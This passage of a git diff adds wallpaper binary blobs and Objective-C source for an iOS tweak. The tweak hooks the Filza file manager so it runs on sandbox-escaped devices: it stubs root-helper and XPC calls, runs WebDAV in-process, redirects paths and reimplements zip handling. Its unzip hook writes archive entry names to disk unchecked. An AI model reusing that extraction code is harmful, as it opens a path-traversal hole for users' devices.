b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/Wallpaper.plist new file mode 100644 index 0000000000000000000000000000000000000000..08e074826b967aa68727205a4b8912f3055e903f GIT binary patch literal 536 zcmZ{fy-EW?6ov2jm-s(MW7LFTBiI<081SbuMno{!C|T5EnC#w-gOk~Hc8#X-1$+y; zJcVLoV`HPQAovoFF+@-^&0#qAocrBsAVnBi)*I>T9~c~p#ZzJ7)M&_PAfx+RiN%d_VUH!8bZ`*l>0Sp)! MAvA*ol!j4P0m|7@wg3PC literal 0 HcmV?d00001 diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/com.apple.posterkit.provider.contents.userInfo b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/com.apple.posterkit.provider.contents.userInfo new file mode 100644 index 0000000000000000000000000000000000000000..24a3941a8138b46f0800d9689a75e1c84f51a4db GIT binary patch literal 204 zcmYc)$jK}&F)+By$i&RT$`&smU!ItgQ;=AYS`?I8P?TDnnpcvUm+qMYqSG={i{b@j zv8r&(%t`f2%uS6KkSfS8E=etN%`3|+%FoLMYVTgl1re(lBZ% E0MY0?M*si- literal 0 HcmV?d00001 diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/supplements/0/com.apple.posterkit.provider.supplementURL.homescreenConfiguration.plist b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/supplements/0/com.apple.posterkit.provider.supplementURL.homescreenConfiguration.plist new file mode 100644 index 0000000000000000000000000000000000000000..8aa6313a9a6019aa76b7ccbe76b72e0bfbcd97ea GIT binary patch literal 8821 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 +#import +#import + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +typedef int (*WQAddChdirFn)(posix_spawn_file_actions_t *, const char *); + +#include "MCMFilzaIntegration.h" +#include "PosterBoardFeature.h" +#include "UpdateChecker.h" +#include "WQFilzaIntegration.h" +#include "WQWebDAVServer.h" +#include "WQStartupUI.h" +#include "WQTerminal.h" +#include "WQSSHServer.h" +#include "WQPackages.h" + +#pragma mark - Root Helper Hooks + +static BOOL hook_isRootHelperAvailable(id self, SEL _cmd) { + return NO; +} + +static int hook_spawnRootHelper(id self, SEL _cmd) { return 0; } +static int hook_spawnRootHelperIfNeeds(id self, SEL _cmd) { return 0; } +static int hook_respawnRootHelper(id self, SEL _cmd) { return 0; } +static void hook_tryLoadFilzaHelper(id self, SEL _cmd) {} +static void hook_createHelperConnectionIfNeeds(id self, SEL _cmd) {} + +#pragma mark - WebDAV hooks + +// Filza's built-in WebDAV mode starts a root launch daemon. That cannot work +// under normal signing, so the same UI actions drive an in-process server. +static void hook_startAirBrowser(id self, SEL _cmd) { + NSString *error = nil; + if (WQWebDAVStart(&error)) + NSLog(@"[WQWebDAV] Filza UI start ok url=%@", WQWebDAVURL()); + else + NSLog(@"[WQWebDAV] Filza UI start failed: %@", error ?: @"unknown"); +} + +static void hook_stopAirBrowser(id self, SEL _cmd) { + WQWebDAVStop(); +} + +static BOOL hook_isServerStarted(id self, SEL _cmd) { + return WQWebDAVIsRunning(); +} + +static NSString *hook_connectionUrl(id self, SEL _cmd) { + return WQWebDAVURL(); +} + +static NSString *hook_connectionUrlWithHostname(id self, SEL _cmd) { + return WQWebDAVURL(); +} + +// Filza normally uses /var/mobile/Library/Filza/.Trash, which is outside the +// app sandbox. Keep the recycle bin inside the app container so trash and +// restore work under normal signing. The transport is the same filesystem, +// so moving a file from an accessible container into this directory is a +// rename, not a cross-volume copy. +static id hook_trashDir(id self, SEL _cmd) { + NSString *root = MCMFilzaVirtualRoot(); + NSString *trash = [root stringByAppendingPathComponent:@".Trash"]; + [NSFileManager.defaultManager createDirectoryAtPath:trash + withIntermediateDirectories:YES + attributes:@{ NSFilePosixPermissions: @0700 } error:nil]; + return trash; +} + +// A jailed Filza otherwise restores its usual /var/mobile start path, which is +// not listable by this container-scoped primitive. Start in the worse_query hub +// once it exists; the startup panel repairs the browser path after indexing. +static NSString *preferredStorageRoot(void) { + return WQIsActive() ? WQVirtualRootFolder() : MCMFilzaVirtualRoot(); +} + +static id hook_defaultPath(id self, SEL _cmd) { + MCMFilzaStart(); + return preferredStorageRoot(); +} + +static NSString *redirectedLegacyBrowserPath(id requestedPath) { + NSString *path = [requestedPath isKindOfClass:NSString.class] ? requestedPath : nil; + NSRange legacy = [path rangeOfString:@"/Documents/MCM Containers"]; + if (legacy.location != NSNotFound) { + NSUInteger suffixStart = NSMaxRange(legacy); + NSString *suffix = suffixStart < path.length ? [path substringFromIndex:suffixStart] : @""; + path = [preferredStorageRoot() stringByAppendingString:suffix]; + } + return path; +} + +static IMP orig_fileSystemSetCurrentPath = NULL; +static IMP orig_fileSystemUpdateEditableUI = NULL; +static void refreshWallpaperButton(id controller, id fallbackPath) { + if (![controller isKindOfClass:UIViewController.class]) return; + SEL selector = NSSelectorFromString(@"currentPath"); + NSString *currentPath = [controller respondsToSelector:selector] + ? ((id(*)(id, SEL))objc_msgSend)(controller, selector) : nil; + PBWallpaperConfigureBrowser((UIViewController *)controller, + currentPath ?: fallbackPath); +} + +static void hook_fileSystemUpdateEditableUI(id self, SEL _cmd) { + ((void(*)(id, SEL))orig_fileSystemUpdateEditableUI)(self, _cmd); + // This is the exact Filza routine that restores the Edit item. Apply the + // Wallpaper Lab action after Filza has completed that update. + refreshWallpaperButton(self, nil); +} + +static void hook_fileSystemSetCurrentPath(id self, SEL _cmd, id requestedPath) { + NSString *path = redirectedLegacyBrowserPath(requestedPath); + if (path && ![path isEqual:requestedPath]) + NSLog(@"[DeviceStorage] redirected legacy browser path to %@", path); + ((void(*)(id, SEL, id))orig_fileSystemSetCurrentPath)(self, _cmd, path ?: requestedPath); + refreshWallpaperButton(self, path ?: requestedPath); + // Filza rebuilds its Edit item after loading a directory. Re-apply the + // lab action after those deferred navigation updates have completed. + for (NSNumber *delay in @[@100, @500]) { + dispatch_after(dispatch_time(DISPATCH_TIME_NOW, + delay.unsignedLongLongValue * NSEC_PER_MSEC), dispatch_get_main_queue(), ^{ + refreshWallpaperButton(self, path ?: requestedPath); + }); + } +} + +static IMP orig_fileSystemViewWillAppear = NULL; +static BOOL gNormalizedInitialBrowserPath = NO; +static void hook_fileSystemViewWillAppear(id self, SEL _cmd, BOOL animated) { + NSString *currentPath = [self respondsToSelector:NSSelectorFromString(@"currentPath")] + ? ((id(*)(id, SEL))objc_msgSend)(self, NSSelectorFromString(@"currentPath")) : nil; + NSString *redirected = redirectedLegacyBrowserPath(currentPath); + NSString *root = preferredStorageRoot(); + BOOL firstAppearance = !gNormalizedInitialBrowserPath; + gNormalizedInitialBrowserPath = YES; + BOOL insideRoot = [currentPath isEqualToString:root] || + [currentPath hasPrefix:[root stringByAppendingString:@"/"]]; + if (firstAppearance && currentPath.length > 0 && !insideRoot) + redirected = root; + if (redirected && ![redirected isEqual:currentPath]) { + ((void(*)(id, SEL, id))objc_msgSend)(self, + NSSelectorFromString(@"setCurrentPath:"), redirected); + NSLog(@"[DeviceStorage] repaired initial browser path from %@ to %@", + currentPath, redirected); + } + ((void(*)(id, SEL, BOOL))orig_fileSystemViewWillAppear)(self, _cmd, animated); + + if (firstAppearance && currentPath.length == 0) { + ((void(*)(id, SEL, id))objc_msgSend)(self, + NSSelectorFromString(@"setCurrentPath:"), root); + NSLog(@"[DeviceStorage] initialized empty browser path to %@", root); + } + + // Older Filza state restoration can preserve the navigation title even + // after the path has been repaired, so replace that presentation-only + // residue as well. + UINavigationItem *item = [self respondsToSelector:@selector(navigationItem)] + ? ((id(*)(id, SEL))objc_msgSend)(self, @selector(navigationItem)) : nil; + if ([item.title isEqualToString:@"MCM Containers"]) + item.title = @"Device Storage"; + + SEL visiblePathSelector = NSSelectorFromString(@"currentPath"); + NSString *visiblePath = [self respondsToSelector:visiblePathSelector] + ? ((id(*)(id, SEL))objc_msgSend)(self, visiblePathSelector) : redirected; + PBWallpaperConfigureBrowser(self, visiblePath); + + // State restoration can leave the browser's table model empty even after + // its path is correct. Reload on the next main-loop turn, after the view + // hierarchy and browser view have finished appearing. + dispatch_async(dispatch_get_main_queue(), ^{ + SEL currentSelector = NSSelectorFromString(@"currentPath"); + NSString *visiblePath = [self respondsToSelector:currentSelector] + ? ((id(*)(id, SEL))objc_msgSend)(self, currentSelector) : nil; + NSString *visibleRoot = preferredStorageRoot(); + BOOL visibleInsideRoot = [visiblePath isEqualToString:visibleRoot] || + [visiblePath hasPrefix:[visibleRoot stringByAppendingString:@"/"]]; + SEL loadSelector = NSSelectorFromString(@"doLoadingPage"); + if (visibleInsideRoot && [self respondsToSelector:loadSelector]) { + ((void(*)(id, SEL))objc_msgSend)(self, loadSelector); + NSLog(@"[DeviceStorage] reloaded visible browser path %@", visiblePath); + } + }); +} + +static int hook_spawnRoot_args_pid(id self, SEL _cmd, id path, id args, int *pid) { + if (pid) *pid = 0; + return -1; +} + +static id hook_sendObjectWithReplySync(id self, SEL _cmd, id msg) { + return (id)xpc_null_create(); +} + +static id hook_sendObjectWithReplySync_fd(id self, SEL _cmd, id msg, int *fd) { + if (fd) *fd = -1; + return (id)xpc_null_create(); +} + +static id hook_sendObjectWithReplySync_fd_logintty(id self, SEL _cmd, id msg, int *fd, BOOL logintty) { + if (fd) *fd = -1; + return (id)xpc_null_create(); +} + +static void hook_sendObjectNoReply(id self, SEL _cmd, id msg) {} + +static void hook_sendObjectWithReplyAsync(id self, SEL _cmd, id msg, id queue, id completion) { + if (completion) { void (^block)(id) = completion; block(nil); } +} + +#pragma mark - Zip/Unzip via minizip C API (linked in Filza binary) + +// minizip C functions — statically linked in Filza, resolve via dlsym at runtime +#include +typedef void* zipFile64; +typedef void* unzFile64; + +// Function pointer types +static zipFile64 (*p_zipOpen64)(const char*, int); +static int (*p_zipOpenNewFileInZip64)(zipFile64, const char*, const void*, const void*, unsigned, const void*, unsigned, const char*, int, int, int); +static int (*p_zipWriteInFileInZip)(zipFile64, const void*, unsigned); +static int (*p_zipCloseFileInZip)(zipFile64); +static int (*p_zipClose)(zipFile64, const char*); +static unzFile64 (*p_unzOpen64)(const char*); +static int (*p_unzGoToFirstFile)(unzFile64); +static int (*p_unzGoToNextFile)(unzFile64); +static int (*p_unzGetCurrentFileInfo64)(unzFile64, void*, char*, unsigned long, void*, unsigned long, char*, unsigned long); +static int (*p_unzOpenCurrentFilePassword)(unzFile64, const char*); +static int (*p_unzReadCurrentFile)(unzFile64, void*, unsigned); +static int (*p_unzCloseCurrentFile)(unzFile64); +static int (*p_unzClose)(unzFile64); + +static bool g_minizipLoaded = false; +static void loadMinizip(void) { + if (g_minizipLoaded) return; + // RTLD_DEFAULT searches all loaded images including Filza's statically linked minizip + p_zipOpen64 = dlsym(RTLD_DEFAULT, "zipOpen64"); + p_zipOpenNewFileInZip64 = dlsym(RTLD_DEFAULT, "zipOpenNewFileInZip64"); + p_zipWriteInFileInZip = dlsym(RTLD_DEFAULT, "zipWriteInFileInZip"); + p_zipCloseFileInZip = dlsym(RTLD_DEFAULT, "zipCloseFileInZip"); + p_zipClose = dlsym(RTLD_DEFAULT, "zipClose"); + p_unzOpen64 = dlsym(RTLD_DEFAULT, "unzOpen64"); + p_unzGoToFirstFile = dlsym(RTLD_DEFAULT, "unzGoToFirstFile"); + p_unzGoToNextFile = dlsym(RTLD_DEFAULT, "unzGoToNextFile"); + p_unzGetCurrentFileInfo64 = dlsym(RTLD_DEFAULT, "unzGetCurrentFileInfo64"); + p_unzOpenCurrentFilePassword = dlsym(RTLD_DEFAULT, "unzOpenCurrentFilePassword"); + p_unzReadCurrentFile = dlsym(RTLD_DEFAULT, "unzReadCurrentFile"); + p_unzCloseCurrentFile = dlsym(RTLD_DEFAULT, "unzCloseCurrentFile"); + p_unzClose = dlsym(RTLD_DEFAULT, "unzClose"); + g_minizipLoaded = (p_zipOpen64 && p_unzOpen64); + NSLog(@"[Tweak] minizip loaded: %d (zip=%p unz=%p)", g_minizipLoaded, p_zipOpen64, p_unzOpen64); +} + +static IMP orig_ZipFiles = NULL, orig_unZipFile = NULL, orig_unZipFilePassword = NULL; + +// Recursively add files to a zip archive using minizip C API +static void addFileToZip(zipFile64 zf, NSString *basePath, NSString *relativePath) { + NSFileManager *fm = [NSFileManager defaultManager]; + NSString *fullPath = [basePath stringByAppendingPathComponent:relativePath]; + BOOL isDir = NO; + [fm fileExistsAtPath:fullPath isDirectory:&isDir]; + if (isDir) { + // Add directory entry + NSString *dirEntry = [relativePath stringByAppendingString:@"/"]; + p_zipOpenNewFileInZip64(zf, dirEntry.UTF8String, NULL, NULL, 0, NULL, 0, NULL, 0, 0, 0); + p_zipCloseFileInZip(zf); + for (NSString *item in [fm contentsOfDirectoryAtPath:fullPath error:nil]) + addFileToZip(zf, basePath, [relativePath stringByAppendingPathComponent:item]); + } else { + NSData *data = [NSData dataWithContentsOfFile:fullPath]; + if (!data) return; + // Z_DEFLATED=8, Z_DEFAULT_COMPRESSION=-1 + p_zipOpenNewFileInZip64(zf, relativePath.UTF8String, NULL, NULL, 0, NULL, 0, NULL, 8, -1, data.length > 0xFFFFFFFF); + p_zipWriteInFileInZip(zf, data.bytes, (unsigned int)data.length); + p_zipCloseFileInZip(zf); + } +} + +// Hook: -[Zipper ZipFiles:toFilePath:currentDirectory:] +static id hook_ZipFiles(id self, SEL _cmd, id files, id toFilePath, id currentDirectory) { + @try { + loadMinizip(); + if (!g_minizipLoaded) return orig_ZipFiles ? ((id(*)(id,SEL,id,id,id))orig_ZipFiles)(self, _cmd, files, toFilePath, currentDirectory) : nil; + zipFile64 zf = p_zipOpen64(((NSString *)toFilePath).UTF8String, 0); // APPEND_STATUS_CREATE=0 + if (!zf) { NSLog(@"[Tweak] zipOpen64 failed"); return nil; } + + for (id fi in files) { + NSString *fn = [fi performSelector:NSSelectorFromString(@"fileName")]; + if (fn) addFileToZip(zf, currentDirectory, fn); + } + p_zipClose(zf, NULL); + + // Return FileItem if zip was created (matching original behavior) + if ([[NSFileManager defaultManager] fileExistsAtPath:toFilePath]) { + Class FI = NSClassFromString(@"FileItem"); + if (FI) { + id item = [[FI alloc] init]; + ((void(*)(id,SEL,id,id))objc_msgSend)(item, NSSelectorFromString(@"setFilePath:attribute:"), toFilePath, nil); + return item; + } + } + return nil; + } @catch (NSException *e) { NSLog(@"[Tweak] Zip error: %@", e); return nil; } +} + +// Hook: -[Zipper unZipFile:toPath:currentDirectory:outMessage:] +static id hook_unZipFile(id self, SEL _cmd, id zipPath, id toPath, id currentDir, id *outMsg) { + @try { + loadMinizip(); + if (!g_minizipLoaded) return orig_unZipFile ? ((id(*)(id,SEL,id,id,id,id*))orig_unZipFile)(self, _cmd, zipPath, toPath, currentDir, outMsg) : nil; + // zipPath is a FileItem, get the actual path string + NSString *zipPathStr = zipPath; + if ([zipPath respondsToSelector:NSSelectorFromString(@"filePath")]) + zipPathStr = [zipPath performSelector:NSSelectorFromString(@"filePath")]; + + unzFile64 uf = p_unzOpen64(((NSString *)zipPathStr).UTF8String); + if (!uf) { if (outMsg) *outMsg = @"Failed to open zip"; return nil; } + + NSFileManager *fm = [NSFileManager defaultManager]; + NSString *destPath = toPath; + [fm createDirectoryAtPath:destPath withIntermediateDirectories:YES attributes:nil error:nil]; + + char filename[512]; + uint8_t buf[32768]; + int ret = p_unzGoToFirstFile(uf); + while (ret == 0) { + p_unzGetCurrentFileInfo64(uf, NULL, filename, sizeof(filename), NULL, 0, NULL, 0); + NSString *name = [NSString stringWithUTF8String:filename]; + NSString *fullPath = [destPath stringByAppendingPathComponent:name]; + + if ([name hasSuffix:@"/"]) { + [fm createDirectoryAtPath:fullPath withIntermediateDirectories:YES attributes:nil error:nil]; + } else { + [fm createDirectoryAtPath:[fullPath stringByDeletingLastPathComponent] + withIntermediateDirectories:YES attributes:nil error:nil]; + + if (p_unzOpenCurrentFilePassword(uf, NULL) == 0) { + NSMutableData *fileData = [NSMutableData data]; + int bytesRead; + while ((bytesRead = p_unzReadCurrentFile(uf, buf, sizeof(buf))) > 0) + [fileData appendBytes:buf length:bytesRead]; + p_unzCloseCurrentFile(uf); + [fileData writeToFile:fullPath atomically:YES]; + } + } + ret = p_unzGoToNextFile(uf); + } + p_unzClose(uf); + + if (outMsg) *outMsg = @"OK"; + + // Return array of extracted FileItems (matching original behavior) + NSArray *contents = [fm contentsOfDirectoryAtPath:destPath error:nil]; + if (contents.count > 0) { + Class FI = NSClassFromString(@"FileItem"); + if (FI) { + id item = [[FI alloc] init]; + ((void(*)(id,SEL,id,id))objc_msgSend)(item, NSSelectorFromString(@"setFilePath:attribute:"), destPath, nil); + return @[item]; + } + } + return nil; + } @catch (NSException *e) { NSLog(@"[Tweak] Unzip error: %@", e); if (outMsg) *outMsg = [e reason]; return nil; } +} + +// Hook: -[Zipper unZipFile:toPath:currentDirectory:withPassword:outMessage:] +static id hook_unZipFilePassword(id self, SEL _cmd, id zipPath, id toPath, id currentDir, id password, id *outMsg) { + return hook_unZipFile(self, @selector(unZipFile:toPath:currentDirectory:outMessage:), zipPath, toPath, currentDir, outMsg); +} + +#pragma mark - Apps Manager Fix + +// Full Apps Manager fix for sandbox-escaped devices. +// LSApplicationProxy properties (localizedName, iconsDictionary, dataContainerURL, +// staticDiskUsage, etc.) return nil without entitlements. +// Fix: Hook setAppProxy: to populate from Info.plist + filesystem directly. +// Hook calculateDiskUsage to walk bundle dirs. Hook tap to use bundle path fallback. + +@interface LSApplicationProxy : NSObject ++ (id)applicationProxyForIdentifier:(NSString *)bundleId; +- (NSString *)applicationIdentifier; +- (NSURL *)bundleURL; +- (NSURL *)dataContainerURL; +- (NSString *)localizedName; +- (NSString *)bundleVersion; +- (NSString *)shortVersionString; +- (NSString *)applicationType; +- (NSDictionary *)iconsDictionary; +- (NSNumber *)staticDiskUsage; +- (NSNumber *)dynamicDiskUsage; +@end + +@interface LSApplicationWorkspace : NSObject ++ (id)defaultWorkspace; +- (NSArray *)allApplications; +@end + +// --- Helper: find app bundle path from bundleId --- +static NSString *findBundlePath(NSString *bundleId) { + NSString *wqPath = WQBundlePathForIdentifier(bundleId); + if (wqPath.length) return wqPath; + NSFileManager *fm = [NSFileManager defaultManager]; + NSString *appsDir = @"/var/containers/Bundle/Application"; + for (NSString *uuid in [fm contentsOfDirectoryAtPath:appsDir error:nil]) { + NSString *uuidPath = [appsDir stringByAppendingPathComponent:uuid]; + for (NSString *item in [fm contentsOfDirectoryAtPath:uuidPath error:nil]) { + if (![item hasSuffix:@".app"]) continue; + NSString *appPath = [uuidPath stringByAppendingPathComponent:item]; + NSString *plist = [appPath stringByAppendingPathComponent:@"Info.plist"]; + NSDictionary *info = [NSDictionary dictionaryWithContentsOfFile:plist]; + if ([info[@"CFBundleIdentifier"] isEqualToString:bundleId]) return appPath; + } + } + // System apps + for (NSString *item in [fm contentsOfDirectoryAtPath:@"/Applications" error:nil]) { + if (![item hasSuffix:@".app"]) continue; + NSString *appPath = [@"/Applications" stringByAppendingPathComponent:item]; + NSString *plist = [appPath stringByAppendingPathComponent:@"Info.plist"]; + NSDictionary *info = [NSDictionary dictionaryWithContentsOfFile:plist]; + if ([info[@"CFBundleIdentifier"] isEqualToString:bundleId]) return appPath; + } + return nil; +} + +// --- Helper: find data container path --- +static NSString *findDataContainer(NSString *bundleId) { + NSString *error = nil; + NSString *path = MCMFilzaDataContainerPath(bundleId, &error); + if (!path) NSLog(@"[MCMFilza] data lookup failed id=%@ detail=%@", bundleId, error); + return path; +} + +// --- Helper: find best icon in bundle --- +static NSString *findIconPath(NSString *bundlePath, NSDictionary *infoPlist) { + NSFileManager *fm = [NSFileManager defaultManager]; + // Try CFBundleIcons -> CFBundlePrimaryIcon -> CFBundleIconFiles + NSDictionary *icons = infoPlist[@"CFBundleIcons"]; + NSDictionary *primary = icons[@"CFBundlePrimaryIcon"]; + NSArray *iconFiles = primary[@"CFBundleIconFiles"]; + if (!iconFiles) iconFiles = infoPlist[@"CFBundleIconFiles"]; + + NSString *bestIcon = nil; + unsigned long long bestSize = 0; + if (iconFiles.count > 0) { + for (NSString *iconName in iconFiles) { + // Try exact name and @2x/@3x variants + NSArray *variants = @[ + iconName, + [iconName stringByAppendingString:@"@2x.png"], + [iconName stringByAppendingString:@"@3x.png"], + [iconName stringByAppendingString:@"@2x~iphone.png"], + [iconName stringByAppendingString:@"@3x~iphone.png"], + [NSString stringWithFormat:@"%@.png", iconName], + ]; + for (NSString *v in variants) { + NSString *full = [bundlePath stringByAppendingPathComponent:v]; + NSDictionary *attrs = [fm attributesOfItemAtPath:full error:nil]; + unsigned long long sz = [attrs fileSize]; + if (sz > bestSize) { bestSize = sz; bestIcon = full; } + } + } + } + + // Fallback: scan for Icon*.png / AppIcon*.png + if (!bestIcon) { + for (NSString *file in [fm contentsOfDirectoryAtPath:bundlePath error:nil]) { + if (([file hasPrefix:@"Icon"] || [file hasPrefix:@"icon"] || [file hasPrefix:@"AppIcon"]) + && [file hasSuffix:@".png"]) { + NSString *full = [bundlePath stringByAppendingPathComponent:file]; + NSDictionary *attrs = [fm attributesOfItemAtPath:full error:nil]; + unsigned long long sz = [attrs fileSize]; + if (sz > bestSize) { bestSize = sz; bestIcon = full; } + } + } + } + return bestIcon; +} + +// --- Hook: allApplications fallback --- +static IMP orig_allApplications = NULL; +static id hook_allApplications(id self, SEL _cmd) { + NSArray *origResult = orig_allApplications + ? ((id(*)(id,SEL))orig_allApplications)(self, _cmd) : @[]; + NSMutableArray *apps = [NSMutableArray array]; + NSMutableSet *known = [NSMutableSet set]; + for (id proxy in origResult ?: @[]) { + NSString *identifier = [proxy respondsToSelector:@selector(applicationIdentifier)] + ? [proxy applicationIdentifier] : nil; + if (!identifier) identifier = [proxy respondsToSelector:@selector(bundleIdentifier)] + ? [proxy bundleIdentifier] : nil; + if (identifier.length) { + [known addObject:identifier]; + [apps 